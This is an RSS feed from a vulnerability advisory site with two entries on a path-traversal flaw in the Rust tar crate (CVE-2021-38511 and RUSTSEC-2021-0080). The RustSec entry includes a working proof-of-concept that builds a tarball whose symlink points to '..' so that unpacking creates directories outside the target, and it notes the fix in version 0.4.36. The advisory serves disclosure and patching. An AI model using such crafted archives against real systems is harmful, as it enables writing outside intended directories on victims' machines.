<?xml version='1.0' encoding='UTF-8'?>
<?xml-stylesheet href="/static/style.xsl" type="text/xsl"?>
<rss xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/" version="2.0">
  <channel>
    <title>Most recent entries from all</title>
    <link>https://cve.radiocsirt.org</link>
    <description>Contains only the most 10 recent entries.</description>
    <docs>http://www.rssboard.org/rss-specification</docs>
    <generator>python-feedgen</generator>
    <language>en</language>
    <lastBuildDate>Thu, 08 Oct 2026 03:03:36 +0000</lastBuildDate>
    <item>
      <title>CVE-2021-38511</title>
      <link>https://cve.radiocsirt.org/vuln/cve-2021-38511</link>
      <description>&lt;p&gt;An issue was discovered in the tar crate before 0.4.36 for Rust. When symlinks are present in a TAR archive, extraction can create arbitrary directories via .. traversal.&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;An issue was discovered in the tar crate before 0.4.36 for Rust. When symlinks are present in a TAR archive, extraction can create arbitrary directories via .. traversal.&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/cve-2021-38511</guid>
    </item>
    <item>
      <title>RUSTSEC-2021-0080 — Links in archive can create arbitrary directories</title>
      <link>https://cve.radiocsirt.org/vuln/rustsec-2021-0080</link>
      <description>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; crates.io: tar&lt;/p&gt;
&lt;p&gt;When unpacking a tarball that contains a symlink the `tar` crate may create
directories outside of the directory it&amp;#39;s supposed to unpack into.&lt;/p&gt;
&lt;p&gt;The function errors when it&amp;#39;s trying to create a file, but the folders are
already created at this point.&lt;/p&gt;
&lt;p&gt;```rust
use std::{io, io::Result};
use tar::{Archive, Builder, EntryType, Header};&lt;/p&gt;
&lt;p&gt;fn main() -&amp;gt; Result&amp;lt;()&amp;gt; {
    let mut buf = Vec::new();&lt;/p&gt;
&lt;p&gt;{
        let mut builder = Builder::new(&amp;amp;mut buf);&lt;/p&gt;
&lt;p&gt;// symlink: parent -&amp;gt; ..
        let mut header = Header::new_gnu();
        header.set_path(&amp;#34;symlink&amp;#34;)?;
        header.set_link_name(&amp;#34;..&amp;#34;)?;
        header.set_entry_type(EntryType::Symlink);
        header.set_size(0);
        header.set_cksum();
        builder.append(&amp;amp;header, io::empty())?;&lt;/p&gt;
&lt;p&gt;// file: symlink/exploit/foo/bar
        let mut header = Header::new_gnu();
        header.set_path(&amp;#34;symlink/exploit/foo/bar&amp;#34;)?;
        header.set_size(0);
        header.set_cksum();
        builder.append(&amp;amp;header, io::empty())?;&lt;/p&gt;
&lt;p&gt;builder.finish()?;
    };&lt;/p&gt;
&lt;p&gt;Archive::new(&amp;amp;*buf).unpack(&amp;#34;demo&amp;#34;)
}
```&lt;/p&gt;
&lt;p&gt;This has been fixed in https://github.com/alexcrichton/tar-rs/pull/259 and is
published as `tar` 0.4.36. Thanks to Martin Michaelis ([@mgjm](https://github.com/mgjm)) for
discovering and reporting this, and Nikhil Benesch ([@benesch](https://github.com/benesch)) for
the fix!&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; crates.io: tar&lt;/p&gt;
&lt;p&gt;When unpacking a tarball that contains a symlink the `tar` crate may create
directories outside of the directory it&amp;#39;s supposed to unpack into.&lt;/p&gt;
&lt;p&gt;The function errors when it&amp;#39;s trying to create a file, but the folders are
already created at this point.&lt;/p&gt;
&lt;p&gt;```rust
use std::{io, io::Result};
use tar::{Archive, Builder, EntryType, Header};&lt;/p&gt;
&lt;p&gt;fn main() -&amp;gt; Result&amp;lt;()&amp;gt; {
    let mut buf = Vec::new();&lt;/p&gt;
&lt;p&gt;{
        let mut builder = Builder::new(&amp;amp;mut buf);&lt;/p&gt;
&lt;p&gt;// symlink: parent -&amp;gt; ..
        let mut header = Header::new_gnu();
        header.set_path(&amp;#34;symlink&amp;#34;)?;
        header.set_link_name(&amp;#34;..&amp;#34;)?;
        header.set_entry_type(EntryType::Symlink);
        header.set_size(0);
        header.set_cksum();
        builder.append(&amp;amp;header, io::empty())?;&lt;/p&gt;
&lt;p&gt;// file: symlink/exploit/foo/bar
        let mut header = Header::new_gnu();
        header.set_path(&amp;#34;symlink/exploit/foo/bar&amp;#34;)?;
        header.set_size(0);
        header.set_cksum();
        builder.append(&amp;amp;header, io::empty())?;&lt;/p&gt;
&lt;p&gt;builder.finish()?;
    };&lt;/p&gt;
&lt;p&gt;Archive::new(&amp;amp;*buf).unpack(&amp;#34;demo&amp;#34;)
}
```&lt;/p&gt;
&lt;p&gt;This has been fixed in https://github.com/alexcrichton/tar-rs/pull/259 and is
published as `tar` 0.4.36. Thanks to Martin Michaelis ([@mgjm](https://github.com/mgjm)) for
discovering and reporting this, and Nikhil Benesch ([@benesch](https://github.com/benesch)) for
the fix!&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/rustsec-2021-0080</guid>
    </item>
  </channel>
</rss>
